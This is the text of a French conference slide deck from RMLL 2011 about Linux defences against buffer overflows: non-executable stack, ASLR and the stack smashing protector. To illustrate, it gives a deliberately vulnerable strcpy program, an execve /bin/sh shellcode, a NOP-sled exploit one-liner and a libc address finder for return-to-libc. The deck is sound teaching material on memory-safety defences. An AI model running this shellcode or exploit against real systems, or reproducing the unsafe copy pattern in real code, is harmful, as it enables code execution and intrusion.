Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Sommaire Qu'est ce qu'un buffer overflow ? Stack Execute invalidation Address Space Layout Randomization (ASLR) Stack Smashing Protector Conclusion & questions Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Un simple bug Un dépassement de l'espace mémoire allouée Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Exemple : Paul Rascagnères – RMLL 2011 int vuln(char *variable) { char locale_variable[100]; strcpy(locale_variable, variable); return(0); } int main(int argc, char *argv[]) { if (argc <2) { printf("Usage: argument_1\n"); exit(1); } vuln(argv[1]); }
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Exemple : Paul Rascagnères – RMLL 2011 gcc bof.c -o bof AAAA $(perl -e 'print ”A”x100') Segmentation fault
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Que se passe-t-il ? Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Quels sont les risques de sécurités ? Execution de code arbitraire Utilisation des Shellcodes Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Qu'est ce qu'un Shellcode ? Chaines de charactères hexadecimales permettant l'execution de code Exemple : char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Qu'est ce qu'un bufer overflow ? Exploitation $(perl -e 'print ”\x90”x50. ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\ x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xf f\xff/bin/sh". ”\x10\xf4\xff\xbf”') Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Stack Execute Invalidation Principe Contournements Return-to-libc attaque... Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Stack Execute Invalidation Return-to-libc Obtenir l'adresse d'un fonction particulière sur laquelle ”rebondir” Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Stack Execute Invalidation Paul Rascagnères – RMLL 2011 int main(int argc,char **argv) { void *handle; long address; char *error; if(argc!=2) { fprintf(stderr,"Usage : %s function\n",argv[0]); exit(1); } address=(long)dlsym(handle,argv[1]); if((error=dlerror()) != NULL) { fprintf(stderr,"function %s() not found\n%s\n",argv[1], error); exit(1); } printf("function %s() address : 0x%lx\n",argv[1],address); } gcc get_address.c -ldl -o get_address execve function execve() address : 0xb77a9350
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Address Space Layout Randomization (ASLR) Interdire les Return-to-libc en empêchant de ”rebondir” vers une fonction specifique cat /proc/sys/kernel/randomize_va_space 2 Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Address Space Layout Randomization (ASLR) Exemple : Paul Rascagnères – RMLL 2011 execve function execve() address : 0xb execve function execve() address : 0xb execve function execve() address : 0xb76f1350 execve function execve() address : 0xb76de350 execve function execve() address : 0xb76eb350
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Address Space Layout Randomization (ASLR) Limitation de l'entropie en 32bits Necessité de compiler les librairies avec certaines options (-fpie -pie) Une librairie ne profitant pas de l'ASLR peut mettre à mal tout un système Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Stack Smashing Protector Principe Canary Etude complète sur Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Stack Smashing Protector gcc --stack-protector-all bof.c -o bof $(perl -e 'print "A"x100') *** stack smashing detected ***:./bof terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x50)[0xb765bdf0] /lib/i386-linux-gnu/libc.so.6(+0xe5d9a)[0xb765bd9a]./bof[0x80484b3] [0x ] ======= Memory map: ======== r-xp : /home/pol/RMLL/bof Aborted Paul Rascagnères – RMLL 2011
Etat des lieux des systèmes de protection contre les buffer overflows sous Linux Conclusion & questions Sources Paul Rascagnères – RMLL 2011